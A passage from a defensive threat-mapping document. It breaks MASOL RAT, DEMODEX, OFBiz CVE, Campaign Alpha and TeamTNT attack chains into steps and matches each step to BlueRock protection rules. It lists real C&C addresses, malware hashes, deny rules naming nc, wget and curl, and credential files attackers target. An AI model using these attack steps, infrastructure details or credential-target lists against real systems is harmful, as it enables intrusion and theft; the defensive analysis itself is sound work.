  • BR-77: Python OS Command Injection Prevention - This mechanism is applicable if the vulnerability leads to OS command injection within a Python application on the Linux server.
• Attacker deploys a Linux variant of the MASOL RAT backdoor (e.g., filename dash_board). (Cited from: "Deploying the MASOL backdoor (aka Backdr-NQ) on a Linux server", "we observed the new Linux variant of MASOL in the wild after 2021.")
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable because if the MASOL RAT binary (dash_board) is added to the Linux host filesystem after boot and was not installed via a trusted package manager, this mechanism will detect the drift and block its execution.
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because if the Linux server is running within a container, and the MASOL RAT binary is introduced post-load (not part of the original image), its execution will be blocked.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because if the MASOL RAT binary is placed in and executed from a directory not included in the process execution allowlist, the execution will be blocked.
  • BR-80: Tainted File Download Protection - This mechanism is applicable because if the MASOL RAT binary is downloaded using wget or curl and then executed, this mechanism will detect the sequence and block the execution.
• The deployed MASOL RAT communicates with its C&C server (e.g., 103.159.133[.]251). (Cited from: "we tracked the associated C&C IP (103.159.133[.]251) to a Linux backdoor... Our analysis confirmed that this sample is linked to the MASOL RAT", "Our Deep Discovery Inspector (DDI) detected a compromised Linux server communicating with the MASOL RAT C&C.")
  • BR-87: Process Socket Deny - This mechanism is applicable because it can be configured to deny the MASOL RAT process (e.g., dash_board) from initiating outgoing network connections, thus blocking C&C communication.
• The backdoor facilitates long-term access and potential espionage activities on the compromised Linux server.
  • BR-91: Sensitive File Access - This mechanism is applicable because if MASOL RAT attempts to access predefined sensitive files (e.g., /etc/shadow, private keys, config files) during espionage, the access can be alerted or blocked.
  • BR-52: Data Resource Mandatory Access Control - This mechanism is applicable because if critical data directories are protected, MASOL RAT (an unauthorized binary) would be blocked from accessing them.
  • BR-75: Critical Directory Write Protection - This mechanism is applicable because if MASOL RAT attempts to modify files within protected critical system directories for persistence or tampering, the write operation would be blocked.
  • BR-86: PTrace Protection - This mechanism is applicable because if MASOL RAT attempts to use ptrace to inspect or inject into other processes on the Linux server for credential theft or lateral movement, the unauthorized ptrace call would be blocked.
  • BR-30: Process Credential Protection - This mechanism is applicable because if MASOL RAT attempts to escalate privileges by modifying its own process credentials, this mechanism would detect and block the unauthorized modification.

​

F5: Targeting a telecommunications provider's vendor network to gain indirect access, deploying the DEMODEX rootkit on vendor machines.

• Attacker identifies a primary contractor (vendor) associated with a target telecommunications provider. (Cited from: "This vendor is a primary contractor for the region’s main telecommunications provider")
• Attacker gains access to the vendor's network, potentially using methods described in F1 (exploiting public-facing servers or other means).
• Attacker implants the DEMODEX rootkit onto machines within the compromised vendor network. (Cited from: "We found that they implanted the DEMODEX rootkit on vendor machines.")
  • BR-26: Driver ACL Protection - This mechanism is applicable because if DEMODEX installation involves loading a kernel module, and that module is not on the allowlist (or is on the blocklist), the loading will be blocked.
  • BR-34: Driver Signature Enforcement - This mechanism is applicable because if DEMODEX uses an unsigned kernel module and signature enforcement is active, the module load will fail.
  • BR-35: Kernel Integrity Protection - This mechanism is applicable because if DEMODEX attempts to modify protected kernel code or read-only data, the modification will be detected and potentially blocked.
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable if the vendor machines are containers and the DEMODEX components (user-mode launchers/scripts) are new files not in the original image; their execution would be blocked.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable if the vendor machines are Linux hosts and DEMODEX components are added post-boot without a package manager; their execution would be blocked.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because if DEMODEX user-mode components are executed from disallowed paths, they will be blocked.
• The attacker leverages the compromised vendor network and the persistent access provided by DEMODEX to facilitate subsequent access into the primary target (the telecommunications provider). (Cited from: "we believe that attackers use this approach to facilitate access to more targets.")
  • BR-87: Process Socket Deny - This mechanism is applicable because if the DEMODEX process (or associated user-mode component) attempts to initiate connections from the vendor network into the primary target network, and the process is denied socket access, this pivot attempt could be blocked.
  • BR-31: Privileged Inode Protection - This mechanism is applicable because if DEMODEX modifies privileged files (SUID/SGID binaries) on the vendor system to facilitate pivoting or maintain access, this mechanism detects unauthorized modifications to the inode's security fields.

​

F6: Campaign Alpha operation involving an open directory C&C server used for staging tools and potentially linked to other APT tools.

• Attacker sets up a C&C server (e.g., 23.81.41[.]166) with an open directory listing enabled on port 80. (Cited from: "While investigating the download site (23.81.41[.]166), we found more interesting samples on the C&C server which had an open directory on port 80.")
• Attacker uses this server to host malicious tools and configuration files for download during attacks (e.g., targeting Taiwanese government and a chemical company). (Cited from: "In the attacks we observed last October targeting the Taiwanese government and a chemical company, we found that the attackers downloaded malicious tools from their C&C server (23.81.41[.]166).", Table 2 listing tools)
  • BR-80: Tainted File Download Protection - This mechanism is applicable because if a monitored process like wget or curl on a compromised host downloads executable files (binaries or scripts like ondrived.ps1) from this C&C server and then attempts to execute them, this mechanism would detect the download+execute pattern and block the execution.
• Tools staged include SNAPPYBEE backdoor samples, PowerShell scripts (ondrived.ps1), frpc configuration (sql.toml), and open-source hacktools (NeoReGeorg, fscan). (Cited from: Table 2)
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because if these tools (SNAPPYBEE, frpc, NeoReGeorg, fscan, ondrived.ps1) are downloaded and executed within a container, and they were not part of the original image, their execution would be blocked.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable because if these tools are downloaded and executed on a Linux host post-boot without being installed via a package manager, their execution would be blocked.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because if these tools are executed from a path not on the allowlist, they will be blocked.
  • BR-90: Process Exec Deny - This mechanism is applicable because if tools like frpc or fscan (or their path suffixes) are on the deny list, their execution will be blocked.
• The configuration file sql.toml points frpc to another C&C server (165.154.227[.]192). (Cited from: "sql.toml frpc config (C&C server: 165.154.227[.]192)")
• This secondary C&C IP (165.154.227[.]192) is linked via SSL certificate to ShadowPad activity and mentioned in reports related to Ivanti exploits. (Cited from: "The frpc C&C 165.154.227[.]192 could be linked to an SSL certificate... previously used by ShadowPad... In addition, the C&C IP address was also mentioned in a Fortinet report and indicators of compromise related to the Ivanti exploit.")
• The staged PowerShell script ondrived.ps1 shows TTP overlap with GhostEmperor's first-stage dropper, differing mainly by using base64 encoding. (Cited from: "We observed the TTPs used by onedrived.ps1 are similar to those of GhostEmperor’s first-stage PowerShell dropper. The only difference is that the strings are encoded using base64 algorithm in this new variant.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because if ondrived.ps1 is executed within a container and wasn't part of the original image, it would be blocked.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable because if ondrived.ps1 is executed on a Linux host post-boot and wasn't installed via a package manager, it would be blocked.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because if the script (or the powershell.exe interpreter running it) is executed from a disallowed path, it would be blocked.

F1: Exploitation of CVE-2024-47208 leading to Remote Code Execution (RCE) via Groovy expression injection facilitated by Server-Side Request Forgery (SSRF).

• Attacker identifies a vulnerable Apache OFBiz instance running a version prior to 18.12.17.
• Attacker crafts a malicious URL targeting an OFBiz endpoint vulnerable to Server-Side Request Forgery (SSRF). (Cited from: "This vulnerability arises from a combination of Server-Side Request Forgery (SSRF) and Code Injection flaws.", "manipulating specific URLs")
  • BR-59: Cloud IMDS Firewall (AWS) - This mechanism is potentially applicable if the OFBiz instance is running on AWS and the attacker crafts the SSRF payload specifically to target the AWS Instance Metadata Service (IMDS) to steal credentials or gather information. BlueRock would intercept and block unauthorized requests to the IMDS endpoint.
• Within the manipulated URL or parameters passed via SSRF, the attacker includes specially crafted Groovy expressions designed for malicious execution. (Cited from: "allows remote attackers to inject Groovy expressions", "Code Injection flaws")
• The OFBiz server processes the malicious URL, triggering the SSRF component which, in turn, causes the injected Groovy code to be executed by the server's Groovy interpreter (running on the JVM). (Cited from: "trigger the execution of arbitrary code on the server", "Exploiting Groovy Expressions for Remote Code Execution")
  • BR-74: Java OS Command Injection Prevention - This mechanism is applicable because the injected Groovy code runs within the Java Virtual Machine (JVM). If this code attempts to execute operating system commands (e.g., spawning a shell, running binaries), this mechanism would detect and block such attempts originating from the Java process.
  • BR-48: Java Deserialization Protection - This mechanism might be applicable if the Groovy code execution path involves or triggers Java deserialization of untrusted data originating from the network, and that deserialized object subsequently attempts to execute OS-level commands. BlueRock would block the OS command execution based on the behavior.
  • BR-79: Java Classpath Protection - This mechanism could be applicable if the injected Groovy code attempts to dynamically load malicious Java classes or libraries from the network or unauthorized locations to facilitate RCE. BlueRock would detect and block the loading of classes originating from the network.
  • BR-41: Container Memory Namespace Isolation - This mechanism is applicable as a general container security measure. By isolating the memory space of the OFBiz container, it can help contain the impact of the code execution, preventing the compromised process from directly accessing the memory of other isolated processes or containers on the same host, potentially hindering lateral movement or broader system compromise.
• Successful execution of the injected Groovy code grants the attacker Remote Code Execution (RCE) capabilities on the OFBiz server, potentially allowing system takeover. (Cited from: "execute arbitrary code on vulnerable systems", "effectively taking control of the system")
  • BR-41: Container Memory Namespace Isolation - This mechanism applies by isolating the OFBiz container's memory, limiting the RCE's ability to directly interfere with or access memory belonging to other containers or the host, thus containing the immediate blast radius.
  • BR-74: Java OS Command Injection Prevention - This mechanism applies by blocking attempts from the compromised Java/Groovy process to execute further OS-level commands, limiting the attacker's actions post-initial execution.

​

F2: Exploitation of CVE-2024-48962 to perform Cross-Site Request Forgery (CSRF) attacks by bypassing SameSite cookie protections, potentially combined with template injection.

• Attacker identifies a vulnerable Apache OFBiz instance (prior to 18.12.17) and a target user logged into that instance.
• Attacker identifies a sensitive action within OFBiz that can be triggered via a web request (e.g., changing configuration, creating users, modifying data).
• Attacker crafts a malicious request (e.g., hosted on an attacker-controlled website, sent via email) designed to trigger the target action in OFBiz. (Cited from: "craft malicious requests that appear to originate from the victim’s browser")
• The attacker leverages the CVE-2024-48962 flaw to bypass SameSite restrictions, ensuring the victim's browser includes necessary authentication cookies when sending the cross-site request to the OFBiz instance. (Cited from: "enables attackers to bypass SameSite restrictions, a crucial security mechanism designed to prevent Cross-Site Request Forgery (CSRF) attacks")
• The attack may involve exploiting improper neutralization of special elements within OFBiz's template engine to facilitate the CSRF or potentially inject code client-side or server-side depending on the template context. (Cited from: "improper neutralization of special elements within OFBiz’s template engine", "This vulnerability involves a combination of Code Injection, CSRF, and improper neutralization of special elements...")
  • BR-70: Back-Link Directory Traversal - This mechanism is potentially applicable if the template injection flaw allows or is used in conjunction with directory traversal payloads (e.g., ../) within file path requests handled by the application layer. BlueRock would detect and block file IO attempts using such traversal patterns originating from a process that also accepted network packets containing them.
  • BR-74: Java OS Command Injection Prevention - This mechanism is applicable if the server-side template injection leads to the execution of arbitrary OS commands from within the OFBiz Java process. BlueRock would detect and block these command execution attempts.
  • BR-41: Container Memory Namespace Isolation - This mechanism provides general protection by isolating the container's memory, potentially limiting the impact if the template injection leads to more severe code execution scenarios.
• The victim interacts with the attacker's crafted content (e.g., visits the malicious webpage), causing their browser to send the forged request to the OFBiz server.
• The OFBiz server receives the request, validates the user's session via the cookies (due to the SameSite bypass), and executes the unauthorized action on behalf of the victim. (Cited from: "potentially leading to unauthorized actions and data breaches")
  • BR-41: Container Memory Namespace Isolation - This mechanism applies by ensuring the OFBiz container operates in an isolated memory space. While not preventing the CSRF action itself, it helps contain potential follow-on effects if the unauthorized action leads to further compromise attempts within the container.
  • BR-52: Data Resource Mandatory Access Control - This mechanism is applicable if the unauthorized action involves a non-allowlisted binary (like the Java process, if not explicitly permitted for certain actions) attempting to modify data in critical, protected directories. BlueRock would block the access.
  • BR-75: Critical Directory Write Protection - This mechanism is applicable if the unauthorized action attempts to write to directories specifically designated as critical and write-protected by policy. BlueRock would block the write attempt irrespective of the process.
  • BR-91: Sensitive File Access - This mechanism is applicable if the unauthorized action involves accessing or modifying files explicitly defined as sensitive (e.g., configuration files with credentials). BlueRock would block or alert on the access attempt.

F1: Initial access phase leveraging exposed Docker daemons using the 'Docker Gatling Gun' technique.

• Attacker utilizes a script known as the 'Docker Gatling Gun' to scan a wide range of IP addresses (~16.7 million) for exposed Docker daemon ports (2375, 2376, 4243, 4444). (Cited from: "The campaign gains initial access by exploiting exposed Docker daemons on ports 2375, 2376, 4243, and 4444", "The attack script, which scans for these ports, is known as the Docker Gatling Gun. It targets a wide range of IP addresses (~16.7 million)")
• Upon finding an exposed Docker daemon, the script deploys a container from a compromised Docker Hub account (nmlm99). (Cited from: "deploys a container from TeamTNT’s compromised Docker Hub account, running an Alpine Linux image with malicious commands.", "Docker Hub Accounts nmlm99")
  • BR-57: Cluster Drift Protection - This mechanism is applicable because it prevents the unauthorized deployment of new pods/containers outside the designated control API (like Kubernetes API). Deploying a container directly via an exposed Docker daemon bypasses the orchestrator's control plane, which BR-57 is designed to detect and block.
  • BR-61: Container Runtime Socket Protection - This mechanism is applicable because it prevents processes whose lineage doesn't trace back to a trusted orchestrator component (like kubelet) from accessing the container runtime socket (e.g., docker.sock, containerd.sock). The 'Docker Gatling Gun' script, running externally, would likely interact directly with the daemon socket without this trusted lineage, and BR-61 would block this interaction, preventing container deployment.
  • BR-47: Container Capability Control - This mechanism is applicable because it enforces policies on the capabilities granted to containers, potentially overriding requests made during deployment. If the malicious container requested excessive capabilities (e.g., privileged mode) disallowed by the BR-47 policy, the container might be blocked from running even if the deployment command itself succeeded initially.
  • BR-67: Container Root User Control - This mechanism is applicable because it detects and prevents processes from running as root within a container (except PID 0). If the malicious container deployed by the attacker attempts to run its primary process or subsequent processes as root (and it's not PID 0), BR-67 could detect and block this behavior.
• The deployed container runs an Alpine Linux image configured to execute an initial malicious script named TDGGinit.sh. (Cited from: "running an Alpine Linux image with malicious commands. The image executes an initial script called TDGGinit.sh")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because it prevents the execution of any binary or script that was not part of the original container image manifest at load time. If TDGGinit.sh is introduced into the container after the initial load (e.g., downloaded or mounted) rather than being baked into the image layers from the compromised Docker Hub, BR-54 would block its execution.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because it restricts process execution to specific allowlisted filesystem paths. If the TDGGinit.sh script is executed from a location within the container (e.g., /tmp, /app) that is not included in the BR-88 allowlist policy, the mechanism will intercept the exec() syscall and block the script's execution.
  • BR-82: Process Runtime Execution Guardrails - This mechanism is applicable because it uses NSJail to enforce that only authorized processes can start within the container environment. If the execution of TDGGinit.sh (or the shell interpreter running it) is not permitted by the configured NSJail policy, BR-82 would prevent the process from starting.
  • BR-90: Process Exec Deny - This mechanism is applicable if the policy is configured to deny the execution of specific script names or interpreters. While default rules target nc, wget, curl, if the policy were extended to block execution based on script names like TDGGinit.sh or paths like /bin/sh when used suspiciously, it could prevent execution.

​

F2: Deployment of malware (Sliver/Tsunami), establishment of Command and Control (C2), and infrastructure setup using compromised servers and Docker Hub.

• Following initial access (F1), the TDGGinit.sh script likely initiates the download and execution of further payloads from attacker-controlled infrastructure. (Implicit from F1's execution step and overall attack flow)
  • BR-90: Process Exec Deny - This mechanism is applicable because it blocks the execution of processes based on a deny list, defaulting to paths ending in /nc, /wget, or /curl. If TDGGinit.sh attempts to use wget or curl to download further payloads, BR-90 would block the execution of these tools.
  • BR-88: Process Path Exec Allow - This mechanism is applicable if the download tools (wget, curl) or the subsequently executed payloads reside in paths not specified in the allowlist. BR-88 would block their execution.
  • BR-87: Process Socket Deny - This mechanism is applicable because it can prevent specified processes (like wget, curl, or the shell running the script) from initiating outgoing network connections needed to download payloads, if they are not on the network allowlist.
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because it prevents the execution of any downloaded payloads (binaries or scripts) as they were not part of the container's original image manifest.
  • BR-82: Process Runtime Execution Guardrails - This mechanism is applicable because it prevents unauthorized processes from starting. If the download tools or the subsequent payload execution are not allowed by the NSJail policy, BR-82 blocks them.
• Attacker deploys Sliver malware implants (identified binaries: SPLENDID_ISLAND, bioset), replacing the older Tsunami backdoor for potentially stealthier C2. (Cited from: "A new tool used in this campaign is the Sliver malware, which replaces the previously used Tsunami backdoor.", "Binary file MD5=8b553728900ba2e45b784252a1ff6d17 Sliver Malware (SPLENDID_ISLAND)", "Binary file MD5=9dc2819c176c60e879f28529b1b08da1 Sliver Malware (bioset)")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because it blocks the execution of any binaries (like SPLENDID_ISLAND, bioset) that were not present in the original container image manifest. Since these are deployed post-compromise, BR-54 prevents them from running.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because it restricts execution to allowed paths. If the Sliver binaries are executed from a non-allowlisted directory (e.g., /tmp), BR-88 blocks the exec() call.
  • BR-82: Process Runtime Execution Guardrails - This mechanism is applicable because it uses NSJail to prevent unauthorized processes. If the Sliver malware processes are not explicitly permitted by the policy, BR-82 prevents them from starting.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable if the malware is deployed on the host itself (not just container). It blocks execution of files added to the host filesystem outside of trusted package managers.
  • BR-65: Container Host Drift Prevention - This mechanism is applicable if the malware files are new/modified on the host filesystem post-boot and executed by a non-allowlisted process or container. BR-65 blocks such execution.
• Sliver establishes C2 communication using protocols like mTLS, WireGuard, HTTP(S), or DNS. Specific infrastructure observed includes IP 45.154.2.77 (solscan.one) potentially using port 8888 for Sliver C2. (Cited from: "Its implants support Command and Control (C2) over multiple protocols, including mTLS, WireGuard, HTTP(S), and DNS", "Meanwhile, solscan.one (IP 45.154.2.77) has port 8888 open, used for Sliver C2 communication.")
  • BR-87: Process Socket Deny - This mechanism is applicable because it can prevent the Sliver malware process from initiating any outgoing network connections (sockets) required for C2 communication if the Sliver process name is not on the allowlist policy.
  • BR-55: Reverse Shell Protection - This mechanism is applicable if the Sliver C2 communication involves binding shell STDIN/STDOUT/STDERR to the network socket for interactive control. BR-55 specifically blocks this pattern, preventing interactive reverse shells.
  • BR-86: PTrace Protection - This mechanism is applicable because it intercepts and monitors the ptrace system call. If Sliver malware attempts to use ptrace for process injection or manipulation as part of its C2 activities, BR-86 could block these unauthorized memory access attempts.
• Attacker maintains infrastructure possibly including Tsunami C2, suggested by an open port 6670 on solscan.life (IP 95.182.101.23). (Cited from: "the domain solscan.life (hosted on IP 95.182.101.23) has an open port 6670, typically used for IRC servers. This suggests that TeamTNT may still use Tsunami malware as a C2 server")
  • BR-87: Process Socket Deny - This mechanism is applicable because it can prevent the Tsunami malware process from initiating outgoing network connections (sockets) to the C2 server if the Tsunami process name is not on the allowlist policy.
  • BR-55: Reverse Shell Protection - This mechanism is applicable if the Tsunami C2 communication relies on binding shell I/O streams to the network socket for interactive command execution. BR-55 would detect and block this specific behavior.
• Attacker uses compromised web servers (e.g., hosted on IPs 188.114.96.7, 104.21.8.145, 172.67.130.114) and registered domains (solscan.life, solscan.one, etc.) to host malicious binaries and scripts. (Cited from: "The group is using both compromised web servers and Docker Hub registries to disseminate malware", "TeamTNT registered several new domains on September 24th, 2024, including solscan.life, solscan.one, solscan.online, and solscan.store. These domains host malicious binaries and scripts", IOC list)
• Attacker utilizes Anondns (devnull.anondns.net) to obfuscate the IP address (45.154.2.77) of their web/C2 server infrastructure. (Cited from: "TeamTNT is also using anondns... They use devnull.anondns.net to point on IP address 45.154.2.77.")
• Attacker uses the compromised Docker Hub account (nmlm99) to host and distribute malware images ('Infrastructure Images'). (Cited from: "TeamTNT used it to host malware... Infrastructure Images: These 10 images are used to deploy malware or worms to detect new victims.")

​

F3: Resource hijacking through cryptomining deployment and compute power rental, alongside persistence techniques.

• Attacker deploys cryptomining software (including XMRIG, T-Rex miner, CGMiner, BFGMiner, SGMiner) onto compromised systems using specific Docker images ('Impact Images') hosted on the compromised nmlm99 Docker Hub account. (Cited from: "Impact Images: The remaining 20 images focus on running cryptominers... This group of images includes the following cryptomining software: XMRIG, T-Rex miner, CGMiner, BFGMiner, and SGMiner.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable if the cryptominer binaries are downloaded or introduced after the container starts, rather than being part of the image layers themselves. If they are part of the malicious image deployed, this mechanism's effectiveness depends on the baseline definition.
  • BR-88: Process Path Exec Allow - This mechanism is applicable if the cryptominer binaries are executed from paths within the container that are not on the configured allowlist.
  • BR-82: Process Runtime Execution Guardrails - This mechanism is applicable because it prevents unauthorized processes from starting. If the cryptominer processes (e.g., xmrig) are not permitted by the NSJail policy, BR-82 blocks their execution.
  • BR-87: Process Socket Deny - This mechanism is applicable because cryptominers require network connectivity to communicate with mining pools. By adding the names of known cryptominer processes (xmrig, t-rex, etc.) to the deny policy, BR-87 can block their necessary network socket operations, rendering them useless.
  • BR-90: Process Exec Deny - This mechanism is applicable if the cryptominer binaries are named in a way that matches the deny list patterns (e.g., ending in /nc, /wget, /curl) or if the policy is customized to block known miner names.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable if cryptominers are deployed directly onto the host filesystem outside of trusted package managers. It would block their execution.
  • BR-65: Container Host Drift Prevention - This mechanism is applicable if cryptominer files are added/modified on the host post-boot and executed by a non-allowlisted process/container.
• Attacker utilizes GPU mining capabilities (SGMiner) to potentially increase mining revenue. (Cited from: "The latter is utilizing GPU mining to earn more money.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable if SGMiner is introduced post-load. Prevents execution if not in the original manifest.
  • BR-88: Process Path Exec Allow - This mechanism is applicable if SGMiner executes from a non-allowlisted path.
  • BR-82: Process Runtime Execution Guardrails - This mechanism is applicable if the SGMiner process is not authorized by the NSJail policy.
  • BR-87: Process Socket Deny - This mechanism is applicable as SGMiner needs network access. Denying socket operations for the sgminer process blocks its connection to mining pools.
  • BR-90: Process Exec Deny - This mechanism is applicable if the binary name matches deny patterns or custom rules.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable if deployed on the host outside package managers.
  • BR-65: Container Host Drift Prevention - This mechanism is applicable if deployed on the host post-boot and run by an unauthorized entity.
• Alternatively, or additionally, attacker rents out the computational power of compromised victim servers to third parties via platforms like 'Mining Rig Rentals'. (Cited from: "renting the victims’ computational power to third parties... appending victim servers to platforms like Mining Rig Rentals, where computational power is rented in exchange for cryptocurrency.")
  • BR-87: Process Socket Deny - This mechanism is applicable if the software used to connect to 'Mining Rig Rentals' (which might be the miner itself or a dedicated agent) is identified and added to the process socket deny list, preventing it from establishing the necessary network connections.
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable if the rental agent software is deployed post-load.
  • BR-88: Process Path Exec Allow - This mechanism is applicable if the rental agent executes from a non-allowlisted path.
  • BR-82: Process Runtime Execution Guardrails - This mechanism is applicable if the rental agent process is unauthorized by policy.
  • BR-90: Process Exec Deny - This mechanism is applicable if the rental agent binary name matches deny patterns or custom rules.
• Attacker enhances persistence by adding compromised Docker instances into a Docker Swarm, managing them as a single entity. (Cited from: "appending compromised Docker instances to a Docker Swarm", "Persistence Modify Cloud Compute Infrastructure – Create Cloud Instance: TeamTNT download Docker and Dockerswarm binaries and actively exposed Docker instances to a Docker Swarm")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable if the attacker downloads docker or dockerswarm binaries into an already running container/host to manage the swarm. BR-54 would block the execution of these newly introduced binaries.
  • BR-88: Process Path Exec Allow - This mechanism is applicable if the docker or dockerswarm binaries are executed from non-allowlisted paths.
  • BR-82: Process Runtime Execution Guardrails - This mechanism is applicable if the execution of docker or dockerswarm commands is not authorized by the NSJail policy.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable if docker/dockerswarm binaries are added to the host outside trusted package managers.
  • BR-65: Container Host Drift Prevention - This mechanism is applicable if docker/dockerswarm files are added/modified on the host post-boot and executed by non-allowlisted entities.
• Attacker prepares or deploys rootkits like prochider (identified files xmrig.so, systemd.so) for defense evasion and persistence. (Cited from: "Rootkit: We found prochider rootkit ready to deploy in TeamTNT’s download server.", IOC list for prochider MD5s)
  • BR-26: Driver ACL Protection - This mechanism is applicable because rootkits often involve loading malicious kernel modules. BR-26 enforces an ACL (allow/deny list) for kernel module loading, preventing unauthorized modules like prochider from being loaded.
  • BR-34: Driver Signature Enforcement - This mechanism is applicable because it ensures only cryptographically signed kernel modules can be loaded (if the kernel is configured appropriately). The prochider rootkit module is unlikely to be signed, so BR-34 would block its loading.
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable if the user-space component used to load the rootkit (e.g., insmod) or the rootkit file itself (.so file treated as executable/script) is introduced post-load.
  • BR-88: Process Path Exec Allow - This mechanism is applicable if the tool used to load the module (e.g., insmod) or the rootkit components are executed from non-allowlisted paths.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable if the rootkit files are added to the host filesystem outside of trusted package managers.
  • BR-65: Container Host Drift Prevention - This mechanism is applicable if the rootkit files are added/modified post-boot and executed/loaded by unauthorized entities.
  • BR-24: File Operations Protection - This mechanism is applicable because rootkits like prochider often hook file operations to hide processes or files. BR-24 detects and prevents modifications to file operation data structures in the kernel.
  • BR-31: Privileged Inode Protection - This mechanism is applicable if the rootkit attempts to modify privileged inodes (e.g., of system binaries) to gain persistence or hide.
  • BR-35: Kernel Integrity Protection - This mechanism is applicable because it protects kernel code and read-only data regions from unauthorized writes. If the rootkit attempts to patch kernel code directly, BR-35 would detect or block it.
  • BR-45: Page Table Protection - This mechanism is applicable if the rootkit attempts to manipulate kernel page tables to hide memory or redirect execution.
  • BR-32: Tracepoint Protection - This mechanism is applicable if the rootkit attempts to tamper with kernel tracepoints for hooking or evasion.
  • BR-42: Core Pattern String Protection - This mechanism is applicable if the rootkit attempts to modify the core_pattern sysctl for arbitrary code execution on process crashes.
  • BR-63: ModProbe Path String Protection - This mechanism is applicable if the rootkit attempts to modify the modprobe_path sysctl to control kernel module loading.

​

F4: Lateral movement, credential access, and broader targeting associated with the integrated 'Chimaera' campaign elements.

• Attacker performs external network scanning using tools like Masscan and ZGrab to identify additional vulnerable targets beyond the initial Docker daemon exploit. (Cited from: "External and Local Lateral Movement: Aggressive detection and infection methods using tools like Masscan and ZGrab")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable if scanning tools like masscan or zgrab are downloaded/introduced into a compromised container post-load. BR-54 would block their execution.
  • BR-88: Process Path Exec Allow - This mechanism is applicable if masscan or zgrab are executed from paths not on the allowlist.
  • BR-87: Process Socket Deny - This mechanism is applicable because network scanners require extensive socket operations. If the masscan or zgrab processes are added to the deny list, BR-87 can block their ability to initiate scanning connections.
  • BR-82: Process Runtime Execution Guardrails - This mechanism is applicable if the execution of masscan or zgrab is not permitted by the NSJail policy.
  • BR-90: Process Exec Deny - This mechanism is applicable if the scanner binary names match deny patterns or custom rules.
• Attacker conducts local network searches/scanning from compromised hosts to propagate the infection laterally within the target's network. (Cited from: "local searches to propagate the infection across additional servers within the target’s network.", "Remote System Discovery: The campaign involves local network scanning to find additional systems that can be compromised.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable if tools used for local scanning are introduced post-load. Blocks execution.
  • BR-88: Process Path Exec Allow - This mechanism is applicable if scanning tools execute from non-allowlisted paths.
  • BR-87: Process Socket Deny - This mechanism is applicable by denying network socket access to the processes performing the local network scanning.
  • BR-82: Process Runtime Execution Guardrails - This mechanism is applicable if the scanning processes are unauthorized by policy.
  • BR-90: Process Exec Deny - This mechanism is applicable if scanner names match deny patterns or custom rules.
• As part of the broader 'Chimaera' infrastructure (referenced via solscan[.]life/chimaera/sh), the attacker actively targets misconfigurations in SSH, Jupyter, Docker, and Kubernetes. (Cited from: "In the Chimeara capmaign... it appears that TeamTNT are actively targeting SSH, Jupyter, Docker, Kubernetes misconfigurations")
  • BR-57: Cluster Drift Protection - This mechanism is applicable to prevent unauthorized actions against Kubernetes if the attacker tries to deploy pods outside the API.
  • BR-61: Container Runtime Socket Protection - This mechanism is applicable to prevent unauthorized Docker operations if the attacker tries to interact directly with the socket without proper lineage.
  • BR-53: SSH Deep Auth & SSH Least Privilege - This mechanism is applicable because it enhances SSH security with ephemeral certificates and IdP integration, making simple misconfigurations or credential theft less effective for gaining SSH access.
• Attacker searches for and attempts to steal various types of credentials stored on compromised systems or accessible via misconfigurations, including SSH keys, AWS credentials, Docker credentials, s3cfg files, GitHub tokens, Shodan keys, gcloud credentials, Ngrok tokens, Pidgin, FileZilla, HexChat credentials, MoneroGuiWallet files, CloudFlared credentials, davfs2 secrets, PostgreSQL credentials, and smbClients credentials. (Cited from: "targeting... credentials of SSH, AWS, Docker, s3cfg, GitHub, Shodan, gcloud, Ngrok, Pidgin, FileZilla, HexChat, MoneroGuiWallet, CloudFlared, davfs2, PostgreSQL, smbClients.", "Credentials access Unsecured Credentials: Credentials in Files: TeamTNT deploy among other a local search of keys and credentials, such as SSH, cloud metadata server calls etc.")
  • BR-91: Sensitive File Access - This mechanism is applicable because it monitors and can block access attempts to predefined sensitive files and patterns. This list includes common credential files like /etc/shadow and SSH keys (/.ssh/id_) by default, and can be customized to protect other files like s3cfg, cloud credential files, etc. BR-91 would alert or block attempts by the attacker's scripts/tools to read these files.
  • BR-75: Critical Directory Write Protection - This mechanism is applicable if the attacker attempts to modify credential files or system configuration files residing in directories designated as critical (e.g., /etc, user .ssh directories if policy dictates). BR-75 blocks unauthorized writes to these locations.
  • BR-52: Data Resource Mandatory Access Control - This mechanism is applicable if credential files reside within directories protected by BR-52. Only allowlisted binaries would be permitted to read/write, potentially blocking credential harvesting tools.
  • BR-25: Read-Only File Protection - This mechanism is applicable if credential files are marked read-only and the attacker attempts to use a pipe-based write exploit (like Dirty Pipe variants) to modify them. BR-25 specifically targets this type of write.
  • BR-59: Cloud IMDS Firewall (AWS) - This mechanism is applicable specifically for attempts to steal AWS credentials via the Instance Metadata Service (IMDS). It acts as a firewall, controlling access to the IMDS endpoint and blocking unauthorized requests, preventing metadata credential theft.
